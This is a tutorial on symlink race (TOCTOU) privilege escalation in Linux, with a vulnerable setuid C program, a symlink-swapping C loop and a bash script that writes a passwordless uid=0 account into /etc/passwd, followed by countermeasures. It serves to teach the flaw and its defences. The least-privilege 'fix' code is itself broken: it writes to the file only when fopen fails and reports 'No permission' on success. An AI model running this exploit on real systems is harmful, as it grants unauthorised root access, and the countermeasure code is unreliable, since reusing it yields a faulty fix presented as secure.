# Race Condition ## What is a race condition The Race condition is a privilege escalation vulnerability that manipulates the time between imposing a security control and using services in a UNIX-like system. This vulnerability is a result of interferences caused by multiple sequential threads running in the system and sharing the same resources. A race condition could occur due to sequence conditions imposed by un-trusted processes or locking failure conditions imposed by secure programs such as operating systems. The race condition is a common vulnerability in UNIX-like systems, where directories such as /tmp and /var/tmp are shared between threads. ## How race condition do a Linux privilege escalation First, we need to know how a UNIX system such as Ubuntu authenticates the user. Every Ubuntu system has a file /etc/passwd which storage information of all users ![](https://i.imgur.com/8VaFctg.png) *Example content of a file /etc/passwd* This file can be read by everyone but needs sudo/root permission to write on it. Race condition manipulate services that have **setuid** and running with root permission to create a user without a password and **uid=0** so that the user can take the root permission. ``` test:U6aMy0wojraho:0:0:test:/root:/bin/bash ``` ## Symlink Race ### What is symlink race A symlink race is a kind of software security vulnerability that results from a program creating files in an insecure manner. A malicious user can create a symbolic link to a file not otherwise accessible to them. When the privileged program creates a file of the same name as the symbolic link, it creates the linked-to file instead, possibly inserting content desired by the malicious user (see example below), or even provided by the malicious user (as input to the program). ### Example Before we continue, we need to know about context switch. > In computing, a context switch is a process of storing the state of a process or thread, so that it can be restored and resume execution at a later point. This allows multiple processes to share a single central processing unit (CPU) and is an essential feature of a multitasking operating system. We have a program with setuid permission. ```C++ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int main() { char* fn = "/tmp/XYZ"; char buffer[60]; FILE* fp; /* get user input */ scanf("%50s", buffer); if (!access(fn, W_OK)) { fp = fopen(fn, "a+"); if (!fp) { perror("Open failed"); exit(1); } fwrite("\n", sizeof(char), 1, fp); fwrite(buffer, sizeof(char), strlen(buffer), fp); fclose(fp); } else { printf("No permission \n"); } return 0; } ``` The file name “/tmp/XYZ” has been hardcoded in the program, but you can use symbolic links to change the meaning of this name. When the program run ***access*** function, sometimes the context switch saves this process and switches to another process. If you were fast enough, you could change the symbolic links of “/tmp/XYZ” to another file before function ***fopen*** do. ![](https://i.imgur.com/tEEFlfk.png) Because we have bypassed the condition, function ***fopen*** will open any file without user permission (only processes that have setuid permission can do this). But in reality, each context switch takes the kernel about 5 μs (on average) to process so no one is fast enough to do this. We're using a process to change the symbolic link. ``` C++, #include <unistd.h> int main() { while (1) { unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ"); usleep(1000); unlink("/tmp/XYZ"); symlink("/etc/passwd", "/tmp/XYZ"); usleep(1000); } return 0; } ``` Finally, we create a bash file to keep running the vulnerable process and inject **/etc/password** by a user without password with uid=0. ```bash, #!/bin/bash CHECK_FILE="ls -l /etc/passwd" old=$($CHECK_FILE) new=$($CHECK_FILE) while [ "$old" == "$new" ] do echo "test:U6aMy0wojraho:0:0:test:/root:/bin/bash" | ./vulp new=$($CHECK_FILE) done echo "STOP... The passwd file has been changed" ``` ![](https://i.imgur.com/jOomQHU.png) ![](https://i.imgur.com/wdzmfar.png) We have completed the privilege escalation attack and take the root permission. [Demo Symlink Race Vulnerability in Ubuntu 20.04](https://youtu.be/vgP3NoB0crw) ### Countermeasure There are some countermeasures to prevent a symlink race attack. #### Applying the Principle of Least Privilege If users do not need certain privilege, the privilege needs to be disabled We can reduce the privilege by using seteuid and check permission direct by the file pointer return from fopen. Because linux check permission directly, attacker can change symbolic link, but it isn't change because their have no permission to write. ```C++, #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int main() { char* fn = "/tmp/XYZ"; char buffer[60]; FILE* fp; uid_t real_uid = getuid(); uid_t eff_uid = geteuid(); /* get user input */ scanf("%50s", buffer); seteuid(real_uid); // Set UID by Real User ID, not Owner Process ID fp = fopen(fn, "a+"); if (!fp) { // Check null pointer directly if no permission to write file fwrite("\n", sizeof(char), 1, fp); fwrite(buffer, sizeof(char), strlen(buffer), fp); fclose(fp); } else { printf("No permission \n"); } seteuid(eff_uid); // Set UID by Effective User ID return 0; } ``` #### fs.protected_symlinks in linux kernel In Linux kernel 3.6 and newer (or Ubuntu 10.10 and newer), a solution has been created. That's caller symlink protection. > The solution is to not permit symlinks to be followed when users do not match, but only in a world-writable sticky directory (with an additional improvement that the directory owner's symlinks can always be followed, regardless who is following them). When set to “0”, symlink following behavior is unrestricted. When set to “1” symlinks are permitted to be followed only when outside a sticky world-writable directory or when the uid of the symlink and follower match, or when the directory owner matches the symlink’s owner. ``` $ sudo sysctl -w fs.protected_symlinks=1 fs.protected_symlinks=1 ```